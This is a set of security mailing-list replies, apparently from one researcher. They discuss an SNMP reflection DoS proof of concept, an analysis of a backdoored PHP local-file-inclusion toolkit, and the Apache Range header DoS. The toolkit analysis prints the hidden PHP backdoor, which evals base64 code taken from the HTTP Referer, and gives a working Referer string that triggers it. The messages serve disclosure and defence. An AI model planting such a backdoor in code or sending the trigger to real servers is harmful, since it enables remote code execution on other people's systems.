Re: [Full-disclosure] SNMP Reflected Denial Of Service - PoC
Just tested on Windows 2003R2 & 2008R2 Server snmpd with same results (no reflection). If you could name some devices/services that this getBulk vector works will be extremely useful. -A On 9/3/12 1:03 AM, Full Disclosure wrote: > Actually, if you test it against windows snmpd or a lot of Cable modems out > there, the getbulk request causes a 1500 byte packet reply. > You probably tested it against linux snmpd or cisco, which in that case , > yes, it returns null. > > 31.08.2012, 09:31, "Anestis Bechtsoudis" : >> On 8/30/12 8:13 PM, Full Disclosure wrote: >> >>> Hi list, >>> >>> I am releasing this code due to the fact that my dev server got hacked and >>> people have been using it in the wild for bad things. >>> >>> Network admins should patch their networks appropriately by rejecting snmp >>> connections from unwanted IPs. >> >> The quoted code is actually nothing more than a regular threaded UDP >> flood DoS tool, both SNMP spoofed requests and responses are equally 65 >> bytes (no reflection). Make a simple network capture for verification. >> >> The payload is a mis-used .1.3.6.1 getBulk SNMP request resulting in a >> null value response. >> >> A sample perl script with the biggest reflection factor per transaction >> achieved on Cisco devices is available here [1] (Amplification = 84 >> bytes request / 1480 bytes response). >> >> For more information about SNMP reflection DoS you may refer to this >> link [2]. >> >> The quoted code reminds me an old implementation on the same concept [3]. >> >> [1] http://pastebin.com/M9cJs89h >> [2] https://bechtsoudis.com/hacking/snmp-reflected-denial-of-service/ >> [3] http://packetstormsecurity.org/DoS/snmpdos.c >> >> -A >> >> -- >> #--# >> | Anestis Bechtsoudis | >> | | >> | Network Operation Center,| >> | Laboratory for Computing (LabCom), | >> | Dept. of Computer Engineering & Informatics, | >> | University of Patras, Greece | >> |--| >> | Public Key: http://bit.ly/Q2f5gW | >> | Website: https://bechtsoudis.com | >> #--# ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] SNMP Reflected Denial Of Service - PoC
On 8/30/12 8:13 PM, Full Disclosure wrote: > Hi list, > > I am releasing this code due to the fact that my dev server got hacked and > people have been using it in the wild for bad things. > > Network admins should patch their networks appropriately by rejecting snmp > connections from unwanted IPs. > > > The quoted code is actually nothing more than a regular threaded UDP flood DoS tool, both SNMP spoofed requests and responses are equally 65 bytes (no reflection). Make a simple network capture for verification. The payload is a mis-used .1.3.6.1 getBulk SNMP request resulting in a null value response. A sample perl script with the biggest reflection factor per transaction achieved on Cisco devices is available here [1] (Amplification = 84 bytes request / 1480 bytes response). For more information about SNMP reflection DoS you may refer to this link [2]. The quoted code reminds me an old implementation on the same concept [3]. [1] http://pastebin.com/M9cJs89h [2] https://bechtsoudis.com/hacking/snmp-reflected-denial-of-service/ [3] http://packetstormsecurity.org/DoS/snmpdos.c -A -- #----------# | Anestis Bechtsoudis | | | | Network Operation Center,| | Laboratory for Computing (LabCom), | | Dept. of Computer Engineering & Informatics, | | University of Patras, Greece | |--| | Public Key: http://bit.ly/Q2f5gW | | Website: https://bechtsoudis.com | #--# ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Analysis of the "r00t 4 LFI Toolkit"
The backdoor PHP code that you included is exactly the same as generated
by Weevely [1] tool, until the 0.4 version of the tool.
For convenience I include the base64 decoded Weevely code here too:
ini_set('error_log','/dev/null');
parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='my' &&
count($a)==9) {echo '';eval(base64_decode(str_replace(" ", "+",
join(array_slice($a,count($a)-3);echo '';}
For more details you can refer at a relevant post I wrote recently [2].
I haven't dig into "r00t 4 LFI" source code, but from your analysis the
similarities are pretty obvious.
ps: This email has been BCC'ed to Weevely developer.
[1] http://code.google.com/p/weevely/
[2] https://bechtsoudis.com/security/put-weevely-on-the-your-nids-radar/
On 02/19/2012 07:01 PM, InterN0T Advisories wrote:
> Dear Full Disclosure readers,
>
>
> Today I saw Joe McCray among others, tweet about the (new) "r00t 4 LFI
> Toolkit", that according to its description:
> ---
> This tool is a php script that assists in performing local file inclusion
> attacks.
> ---
>
>>> Should be able to perform local file inclusion attacks.
>
>
> -:: Overview ::-
>
> After studying this tool for a brief 5 minutes, it was obvious that it was
> nowhere what I hoped it to be, as the tool only use one method, the
> "/proc/self/environ" vector (as seen on e.g., the intern0t forums and many
> other sites).
>
> The tool is therefore, not capable of performing "attacks", but only 1,
> single type of LFI attack. (Note that the 'S' has been removed.)
>
> The method this tool uses, is far from new and doesn't always work either,
> but it's a nice trick that e.g., SirGod wrote about on the intern0t forums
> in 2009. (This tool was released the 18th February 2012.)
>
>
> -:: Vulnerabilities ::-
>
> Further study of this tool reveals:
> - None of the output from the tool is sanitized, meaning the attacker
> using the script, can get XSS'd (and CSRF'd), if the target has changed
> e.g., the 'uname -a' command (which is relatively simple to do), to include
> (print) JavaScript instead. If this happens, the attacker may end up
> attacking himself, crashing or something third, depending on the type of
> XSS payload.
>
> - The most interesting part, is on line 92, where the "developer"
> (KedAns-Dz), has decided to >>backdoor<< the tool.
>
>
> -:: The Backdoor ::-
>
> Analysis of the backdoor:
> By sending a HTTP request, that includes a specially crafted referer, it
> is possible to execute PHP code:
> ---
> Referer: a1=iz&a2=&a3=&a4=&a5=&a6=&a7=&a8=&a0=cGhwaW5mbygpOw==
> ---
>
>
> This referer will make the script execute: phpinfo();
>
>
> -:: Code Review ::-
>
> The code that enables the developer to use the script as a backdoor looks
> like the following:
> ---
> parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' &&
> count($a)==9) { echo '';eval(base64_decode(str_replace(" ", "+",
> join(array_slice($a,count($a)-3);echo '';}
> ---
>
>
> It certainly took a little bit of study to trigger, but in essence here's
> what it do:
> 1. Parse the HTTP Referer string into variable: $a ("Referer:" is not
> included.)
> 2. If the first array value (not key / arg), is a string named: iz
> 3. And if there's 9 (different) arrays, then
> 4. Print out the contents of..
>
>
> This requires a bit more in-depth explanation:
> A) Evaluate the following as PHP code:
> B) Base64_decode the input:
> C) Replace " " (space) with "+" (plus), in case they occur.
> D) Use the last three array values from the HTTP referer.
> (You don't have to use all three, using the last will work fine.)
>
>
> To make it all a lot more simple:
> ---
> Referer:Array1=iz&Array2=&Array3=&Array4=&Array5=&Array6=&Array7=&Array8=&Array0=[BASE64
> Code that will be executed as PHP.]
> ---
>
>
> Screenshot:
> http://i.imgur.com/PXcSX.png
>
>
> References:
> http://forum.intern0t.org/offensive-guides-information/4113-analysis-r00t-4-local-file-inclusion-toolkit.html
> http://forum.intern0t.org/general-hacking-discussions/1258-shell-via-local-file-inclusion-proc-self-environ-method-step-step.html
> http://packetstormsecurity.org/files/109940/
> https://twitter.com/#!/j0emccray/status/170941195030233090
> https://twitter.com/#!/EChavarro/status/170941489629761537
> http://i.imgur.com/PXcSX.png
>
>
>
> Best regards,
> MaXe
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk
Re: [Full-disclosure] Advisory: Range header DoS vulnerability Apache HTTPD 1.3/2.x (CVE-2011-3192)
_
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
Everyone must be also aware of the "Request-Range" except the "Range"
field in the header.
>From the byterange source
(http://svn.apache.org/repos/asf/httpd/httpd/branches/2.2.x/modules/http/byterange_filter.c)
if (!(range = apr_table_get(r->headers_in, "Range"))) {
range = apr_table_get(r->headers_in, "Request-Range");
}
Advisories must take into account this case too.
Credits to Gappy.
--
===
* Anestis Bechtsoudis *
* Undergraduate Student *
* *
* Network Operation Center (NOC Group)*
* Dept. of Computer Engineering & Informatics *
* University of Patras, Greece*
* *
* Email: bechtsoudi...@gmail.com *
===
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
